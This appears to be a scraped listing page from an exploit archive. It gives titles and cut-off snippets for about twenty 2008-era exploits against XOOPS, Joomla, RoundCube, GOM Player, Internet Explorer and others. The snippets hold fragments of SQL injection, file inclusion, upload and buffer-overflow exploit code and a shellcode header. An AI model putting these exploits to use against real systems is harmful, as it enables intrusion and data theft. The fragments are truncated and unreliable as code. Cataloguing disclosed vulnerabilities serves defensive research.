XOOPS mydirname参数多个PHP代码注入漏洞

BUGTRAQ ID: 33176 Xoops是非常流行的动态web内容管理系统，用面向对象的PHP编写。...

GOM Player 2.0.12.3375 (.ASX File) Stack Overflow Exploit

Exploit for unknown platform in category local exploits ========================================================= GOM Player 2.0.12.3375 .ASX File Stack Overflow Exploit ========================================================= /------------------------------------------------ GOM Player 2.0.12...

Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal Vulnerability

Exploit for unknown platform in category web applications ========================================================================== Joomla \n"; echo " php $argv0 example.org /joomla\n"; echo " php $argv0 example.org /joomla ../../\n"; exit; echo "http://" . $host . $path . "/images/stories/\n\n"...

RiotPix <= 0.61 (forumid) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ===================================================== RiotPix \n\n", $argv0; exit; list$sploit, $target, $username, $topicid = $argv; $charsArr = array48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102; $pos = 1; echo "...

plxAutoReminder 3.7 (id) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications =========================================================== plxAutoReminder 3.7 id Remote SQL Injection Vulnerability =========================================================== plx Autoreminder v3.7 id R-Sql Ynj...

Windows/x86 - calc.exe + Null-Free Shellcode (100 bytes)

Windows/x86 - calc.exe + Null-Free Shellcode 100 bytes. Shellcode exploit for Windowsx86 platform. Tags: Metasploit Framework MSF ; Copyright c 2009-2010, Berend-Jan "SkyLined" Wever ; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/ ; All rights reserved. See COPYRIGHT.txt fo...

Megacubo 5.0.7 - 'mega://' Arbitrary File Download and Execute

Megacubo 5.0.7 download & Execute by :JJunior site: http://www.musicastop.com.br/ tested against Internet Explorer 7 and Mozilla Firefox 1.5 Windows Xp sp 3 software site: http://www.megacubo.net/tv/ download url:...

FlexPHPDirectory 0.0.1 - Authentication Bypass

Autore: x0r Email: [email protected] Site: http://w00tz0ne.altervista.org/index.php Cms: Flexphpdiren Version: 0.0.1 Download: http://www.china-on-site.com/flexphpdir/ Bug In \admin\usercheck.php 'n' \add.php $sql = "select username,adminid from linkexadmin where username='$checkuser' and...

Flexphplink Pro - Arbitrary File Upload

Flexphplink Pro - Arbitrary File Upload !/usr/bin/perl HAPPY CHRISTMAS !! Flexphplink Pro http://www.hotscripts.com/jump.php?listingid=21062&jumptype=1 Bug: Arbitrary File Upload I coded this exploit just for fun ; Exploit coded by Osirys osirysatlivedotit http://osirys.org Greets: x0r, miclen,...

Flexphplink Pro Arbitrary File Upload Exploit

No description provided by source. !/usr/bin/perl HAPPY CHRISTMAS !! Flexphplink Pro http://www.hotscripts.com/jump.php?listingid=21062&jumptype=1 Bug: Arbitrary File Upload I coded this exploit just for fun ; Exploit coded by Osirys osirysatlivedotit http://osirys.org Greets: x0r, miclen, emgent...

Amaya Web Browser 11.0.1 (Windows Vista) - Remote Buffer Overflow

!/usr/bin/perl Amaya Web Browser = 11.0.1 Remote Buffer Overflow Exploit Found/Exploit by SkD [email protected] [email protected] ----------------------------------------------- This is advanced buffer overflow exploitation using my new method called shellhunting : Get more information about this...

Flexphplink Pro - Arbitrary File Upload

!/usr/bin/perl HAPPY CHRISTMAS !! Flexphplink Pro http://www.hotscripts.com/jump.php?listingid=21062&jumptype=1 Bug: Arbitrary File Upload I coded this exploit just for fun ; Exploit coded by Osirys osirysatlivedotit http://osirys.org Greets: x0r, miclen, emgent, str0ke, Todd and AlpHaNiX Example...

RoundCube Webmail &lt;= 0.2b Remote Code Execution Exploit

No description provided by source. !/bin/sh I was hoping the PoC would not appear so soon, but now that it is out, i thought i might as well publish my real exploit. Hunger http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5619 FOR LEARNING PURPOSES ONLY! PHP echoiniget'disablefunctions';...

PHPmotion 2.1 - Cross-Site Request Forgery

PHPmotion Source of pwned.html file: Once your victim has visited your evil page, You may now be able to log into their PHPMotion account, using password "password123" an...

CoolPlayer 2.19 - '.Skin' Local Buffer Overflow

/ CoolPlayer 2.19 Skin File Local Buffer Overflow Exploit Advisory: http://www.bmgsec.com.au/advisory/43/ Test box: WinXP Pro SP2 English Code reference is in skin.c, lines 464 - 480 Written and discovered by: r0ut3r writ3r at gmail.com / www.bmgsec.com.au / include include include //exit using...

Aiyoota! CMS - Blind SQL Injection

php '.$argv0.' -1 http://www.site.com Example Method 2 for http://www.site.com/english/8/8/45001/liste9.html = php '.$argv0.' -2 http://www.site.com english 8 8 45001 liste9.html '; $automatic = $argv1; $url = $argv2; if $argv1 == "-1" | $argv1 == "-2" & $argc == 3 | $argc == 8 if $argv1 == "-1"...

clickandemail - SQL Injection / Cross-Site Scripting

-------------------------------AlpHaNiX---------------------------------- Found By : AlpHaNiX website : www.offensivetrack.org contact : AlpHaATHACKERDOTBZ script : ClickAndEmaiL download : null Demo : http://icash.ch/ClickAndEmailDEMO Exploits : --=SQL INJECTION=--...

Flatnux - htmlJavaScript Injection Cookie Grabber

Flatnux - htmlJavaScript Injection Cookie Grabber titolo /textarea Immagine File -- !-- xss variables mod foto /sections/05...

Feed CMS 1.07.03.19b - lang Local File Inclusion

Feed CMS 1.07.03.19b - lang Local File Inclusion Feed Cms 1.07.03.19 Beta LFI Autore: x0r Email: [email protected] Download: http://heanet.dl.sourceforge.net/sourceforge/feedcms/FeedCms1.07.03.19Beta.rar Bug In: index.php if $GET'lang' $language = $GET'lang';...

Microsoft Internet Explorer (Windows Vista) - XML Parsing Buffer Overflow

Microsoft Internet Explorer Windows Vista - XML Parsing Buffer Overflow // ksOSe 12/10/2008 // Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386 // Heap spray address adjusted for Vista - muts / offensive-security.com //...